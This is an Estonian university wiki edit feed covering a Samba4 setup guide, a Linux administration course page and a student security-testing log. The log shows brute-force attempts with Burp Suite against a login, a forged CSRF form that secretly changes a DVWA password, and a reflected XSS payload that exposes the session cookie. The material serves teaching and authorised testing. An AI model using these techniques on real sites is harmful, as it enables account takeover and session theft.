&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügisemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Samba 4 võimaluste rohke failiserver.&lt;br /&gt;
Suurimad omadused:&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
ja palju muud.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
Kasutusel on Ubuntu 11.04, millel on juba Bind9 paigaldatud domeeniga piix.ee. Kasutusele läheb Samba 4.0.0~alpha15~git20110124.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logida sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teha tarkvara nimekirja uuendamine:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Installeerida Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4 samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis see kas kustutada või teha backupiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
Eeldab, et smb.conf faili pole olemas. &amp;lt;br&amp;gt;&lt;br /&gt;
Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks SAMBA.PIIX.EE kõrval tuleb --domain argumendiks kirjutada SAMBA.&amp;lt;br&amp;gt;&lt;br /&gt;
PIIX või millegi muu korral ei hakka Kerberos tööle korralikult.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/share/samba/setup/provision --realm=SAMBA.PIIX.EE \&lt;br /&gt;
--domain=SAMBA --adminpass=Student1 --server-role=&#039;domain controller&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 startimise skripti muutmine==&lt;br /&gt;
Kuna Samba4 ei kontrolli samba kataloogi olemasolu&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60006</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60006"/>
		<updated>2013-01-03T09:29:26Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Sissejuhatus=&lt;br /&gt;
Samba 4 võimaluste rohke failiserver.&lt;br /&gt;
Suurimad omadused:&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
ja palju muud.&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60004</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60004"/>
		<updated>2013-01-03T09:27:42Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Sissejuhatus=&lt;br /&gt;
Samba 4 võimaluste rohke failiserver.&lt;br /&gt;
Suurimad omadused:&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7, Windows 8 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
ja palju muud.&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Linuxi_administreerimine&amp;diff=58743</id>
		<title>Linuxi administreerimine</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Linuxi_administreerimine&amp;diff=58743"/>
		<updated>2012-12-06T12:06:06Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Esseede teemad 2012 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
ECTS: 4&lt;br /&gt;
Hindamisviis: Eksam&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus&lt;br /&gt;
&lt;br /&gt;
=Eeldused ja sihtgrupp=&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemide administreerimine ja sidumine (Rangelt soovituslik). Osadmin aines loetava oskamine on antud aine õppimise eelduseks. ÕISis on see eeldus märgitud soovituslikuks, kuna igal aastal on paar inimest, kes suudavad mõlemad ained korraga läbida ja on antud vallas väga pädevad.&lt;br /&gt;
Linuxi administraatori kursus on mõeldud tugeva infotehnoloogilise põhjaga arvuti-spetsialistile.&lt;br /&gt;
Kursuse rõhk on eelkõige võrguhalduril, kelle tööülesannete hulka kuulub igapäevane serverite, võrgu jms hooldus, konfigureerimine ja uute seadmete installatsioon.&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
&lt;br /&gt;
Kursuse esimeses osas õpitakse tundma Linux süsteemi toimimist, antakse ülevaade administreerimistoimingute automatiseerimisest shelli skriptide abil ja omandatakse praktiline käsufailide koostamise kogemus.&lt;br /&gt;
&lt;br /&gt;
Teises osas õpitakse paigaldama ja konfigureerima erinevaid võrguteenuseid. Kursuse teise osa alguses korratakse taseme ühtlustamiseks TCP/IP võrgu põhialuseid.&lt;br /&gt;
&lt;br /&gt;
=Õpiväljundid=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
1. Sissejuhatav loeng eeldustest [http://enos.itcollege.ee/~mernits/Linux%20administreerimine/Loeng_1_Sissejuhatus.odp Sissejuhatus]&lt;br /&gt;
&lt;br /&gt;
2. Kordamine Osadmin [http://elab.itcollege.ee:8000/Linux-Basics.mm]&lt;br /&gt;
&lt;br /&gt;
=Praktikumid=&lt;br /&gt;
&lt;br /&gt;
==Esimene praktikum - Ubuntu Server paigaldamine ja kordamistest==&lt;br /&gt;
* Paigaldage Ubuntu Linux Server süsteem VirtualBox abil&lt;br /&gt;
**RAM 512MB&lt;br /&gt;
**HDD dynamicly allocated 8GB&lt;br /&gt;
**2 Võrgukaarti NIC1 - NAT (eth0 - Ubuntus) ja NIC2 - HostOnly (eth1 - Ubuntus)&lt;br /&gt;
**Logige serverisse sisse ja seadistage võrk failis /etc/network/interfaces (liidese eth1 ip aadress 192.168.56.200). &lt;br /&gt;
***Abiinfo [[Ubuntu server võrgu seadistamine]] ja [[VirtualBoxi võrgud]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.200&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Paigaldage openssh server, kui te seda installi käigus ei teinud (apt-get update &amp;amp;&amp;amp; apt-get install ssh)&lt;br /&gt;
&lt;br /&gt;
Ubuntu Server 12.04.1 LTS ISO (64bit) http://elab.itcollege.ee:8000/ubuntu-12.04.1-server-amd64.iso&lt;br /&gt;
&lt;br /&gt;
Eelduste kontrollimise test: http://goo.gl/73xBZ&lt;br /&gt;
Kes tunneb, et test on liiga keeruline, peab kaaluma aine deklareerimise asemel Osadmin aine (mis on soovituslik eeldus) läbimist.&lt;br /&gt;
&lt;br /&gt;
==Teine praktikum==&lt;br /&gt;
*Desktop linux paigaldamine (Vali mitte deb pakihalduriga linux distro, näiteks fedora http://elab.itcollege.ee:8000/Fedora-17-x86_64-Live-Desktop.iso )&lt;br /&gt;
*Võib paigaldada ka Ubuntu Desktopi, kuid siis tuleb lisada rpm baasil server&lt;br /&gt;
&lt;br /&gt;
*Memory 1024MB&lt;br /&gt;
*HDD 16GB (või 8GB) Dynamic disk&lt;br /&gt;
*Network&lt;br /&gt;
**NIC1 - eth0 - NAT&lt;br /&gt;
**NIC2 - eth1 - Host only - Seate ise aadressi 192.168.56.201&lt;br /&gt;
**Video Memory 64MB 3D acceleration sisse&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Praks 2 Ülesanne===&lt;br /&gt;
Teha key based autentimisega serverisse sisenemine. (tööjaamast saab serveris käske käivitada)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Praks 3 kodutöö===&lt;br /&gt;
Teha apt -  yum ja dpkg - rpm vastavustabel. dpkg ja apt korraldused leiab [http://elab.itcollege.ee:8000/Linux-Basics.mm Linux-Basics mindmapist]&lt;br /&gt;
&lt;br /&gt;
Parim töö annab 7p, järgmised 5p (piisavalt põhjalikud ja erinevad)&lt;br /&gt;
&lt;br /&gt;
Ebapiisavad vastavustabelid, mis sarnanevad üksteisele punkte ei saa.&lt;br /&gt;
&lt;br /&gt;
Kui su tabel on ilma vigadeta, kuid mitte parimate sead siis saad 1-2p.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Praks 4===&lt;br /&gt;
&lt;br /&gt;
Nimeserveri BIND9 paigaldamine.&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja domeenimini&lt;br /&gt;
*Paigalda nimeserver bind9&lt;br /&gt;
*Seadista oma domeen&lt;br /&gt;
**www.domeen&lt;br /&gt;
**ns.domeen&lt;br /&gt;
**sales.domeen&lt;br /&gt;
**seadista oma kliendimasin kasutama uut nimeserverit&lt;br /&gt;
&lt;br /&gt;
NB: enne kaitsmist lugeda läbi http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
Labori üks näide [[Nimeserveri seadistamine BIND9 näitel]]&lt;br /&gt;
&lt;br /&gt;
Praktikumi salvestus http://echo360.e-uni.ee/ess/echo/presentation/a828b6af-8caf-4319-b594-5d6bfed04a70&lt;br /&gt;
&lt;br /&gt;
===Praks 5===&lt;br /&gt;
&lt;br /&gt;
Veebiserveri apache2 paigaldamine&lt;br /&gt;
&lt;br /&gt;
*Loo veebisaidid www.domeen ja sales.domeen (ehk oma DNS labori nimedele vastavad veebisaidid)&lt;br /&gt;
*Seadist HTTPS nendele saitidele (vajadusel loo uus ip alias ja muuda nimeserveris olevat kirjet, et TLS nimed viitaks erinevatele IP aadressidele)&lt;br /&gt;
*Abiks on loeng: http://enos.itcollege.ee/~mernits/infrastruktuur/loeng04%20-%20Veebiserver.odp ja labor: https://wiki.itcollege.ee/index.php/Veebiserveri_labor_v.2&lt;br /&gt;
*Paigalda WordPress vastavalt juhendile: http://goo.gl/6XQ0U&lt;br /&gt;
&lt;br /&gt;
Praktikumi salvestus: http://echo360.e-uni.ee/ess/echo/presentation/0945a764-0305-48ec-8082-4e57a23cc536&lt;br /&gt;
&lt;br /&gt;
=Labor 1=&lt;br /&gt;
*Veebiserver ja virtualhostid&lt;br /&gt;
*DNS&lt;br /&gt;
*e-post&lt;br /&gt;
*iptables&lt;br /&gt;
&lt;br /&gt;
=Labor 2=&lt;br /&gt;
*LDAP või Samba4 - LDAP Teet Saar, Kullo-Kalev Aru&lt;br /&gt;
*Puppet või chef&lt;br /&gt;
*PAM&lt;br /&gt;
*Samba - Kristo Kapten&lt;br /&gt;
*[[TLS termineerimine nginx abil]] - Sander Arnus, Sander Saveli&lt;br /&gt;
&lt;br /&gt;
=Esseede teemad 2012=&lt;br /&gt;
&lt;br /&gt;
Võib valida keerulisemaid teemasid ka [[Osadmin referaadi teemad]] lehelt.&lt;br /&gt;
&lt;br /&gt;
[[zsh]] - pole algajale&lt;br /&gt;
&lt;br /&gt;
Mida uurida &lt;br /&gt;
&lt;br /&gt;
Prompt&lt;br /&gt;
&lt;br /&gt;
http://zshwiki.org/home/config/prompt&lt;br /&gt;
&lt;br /&gt;
http://stevelosh.com/blog/2010/02/my-extravagant-zsh-prompt/&lt;br /&gt;
&lt;br /&gt;
.zshrc&lt;br /&gt;
&lt;br /&gt;
for &lt;br /&gt;
&lt;br /&gt;
if --- Kallas (A32)&lt;br /&gt;
&lt;br /&gt;
while --- &lt;br /&gt;
&lt;br /&gt;
jne&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[CentOS Server]] --- teeb Oliver Naaris&lt;br /&gt;
&lt;br /&gt;
Paigaldamine&lt;br /&gt;
&lt;br /&gt;
Teenuste DNS, apache2, samba, e-post seadistamine&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Oracle Linux]]&lt;br /&gt;
&lt;br /&gt;
Paigaldamine&lt;br /&gt;
&lt;br /&gt;
Teenuste DNS, apache2, samba, e-post seadistamine&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Suse Linux]]&lt;br /&gt;
&lt;br /&gt;
Paigaldamine&lt;br /&gt;
&lt;br /&gt;
Teenuste DNS, apache2, samba, e-post seadistamine&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[OpenLDAP Ubuntu Serveril]] - teeb Tarmo Suurmägi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Zentyal SAMBA4]] --- Lang &amp;amp; Lihten A31&lt;br /&gt;
&lt;br /&gt;
Samba4 domeenikontrolleri seadistamine ja ubuntu/fedora/muu süsteem autentimise seadistamine kasutades uusi vahendeid&lt;br /&gt;
&lt;br /&gt;
[[Apt-yum/dpkg-rpm käskude lühivõrdlus]] - Valmis retsenseerimiseks, Teet Saar A32&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Ophcrack]] - teeb Kristo Kapten&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=While&amp;diff=57158</id>
		<title>While</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=While&amp;diff=57158"/>
		<updated>2012-11-19T13:27:02Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* While */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;====While====&lt;br /&gt;
Under construction by Lang&amp;amp;Lihten!&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=While&amp;diff=57157</id>
		<title>While</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=While&amp;diff=57157"/>
		<updated>2012-11-19T13:26:32Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: Created page with &amp;#039;====While====&amp;#039;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;====While====&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47078</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47078"/>
		<updated>2012-03-30T21:16:52Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Burpsuite v1.4 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
::A1: Injection - Urmo&lt;br /&gt;
::A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
::A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
::A4: Insecure Direct Object References - Alo&lt;br /&gt;
::A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
::A6: Security Misconfiguration - Matis&lt;br /&gt;
::A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
::A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
::A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
::A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
:1.1	Tutvuda OWASP’iga. &lt;br /&gt;
:1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
:1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
:2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
:2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
:2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
:2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
:3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
:3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
:4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
:5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
==== Acunetix Web Vulnerability Scanner v. 8 automaatskännimise tööriistaga tutvumine ====&lt;br /&gt;
 http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
 http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
 http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
 http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
 http://www.isecom.org/research.html&lt;br /&gt;
 http://evuln.com/tools/&lt;br /&gt;
 http://sectools.org/tag/web-scanners/&lt;br /&gt;
 http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
 http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.&lt;br /&gt;
&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
:Cross-Site Scripting (XSS)&lt;br /&gt;
:SQL Injection (blind test)&lt;br /&gt;
:File inclusion&lt;br /&gt;
:Code Execution&lt;br /&gt;
:LDAP Injection&lt;br /&gt;
:Cross Frame Scripting&lt;br /&gt;
:SQL Injection (error msg. test)&lt;br /&gt;
:CRLF Injection&lt;br /&gt;
:Directory Travelsal&lt;br /&gt;
:XPath Injection&lt;br /&gt;
:URL Redirection&lt;br /&gt;
:Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
&lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
&lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
&lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Seejärel mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
&lt;br /&gt;
Kahjuks ka see rünne ei toiminud ja ei suudetud parooli välja tuua. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega aga edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldustele, et Pitchfork meetod kasutab tegelikult meetodit, kus ta paaritab mõlema nimekirja kirja peale järjekorras samadel kohtadel sõnad, millest polnud kasu. Oleks pidanud kasutama ClusterBomb viisi aga meil jäi ajanappuse tõttu kasutamata.&lt;br /&gt;
Samuti Brute Force ründeviisist polnud meil tegelikult kasu ja ei aita eesmärki täita effektiivselt ÕISi arendustestimisel.&lt;br /&gt;
&lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5 sekundiks sisselogimine ära vastava teatega. &lt;br /&gt;
&lt;br /&gt;
Lisaks Brute force programmidele ei tule sealt vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine. &lt;br /&gt;
&lt;br /&gt;
Rünnatav inimene ise paneb meie tehtud veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse sealt info koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu. &lt;br /&gt;
&lt;br /&gt;
Seejärel saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud väärtus.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
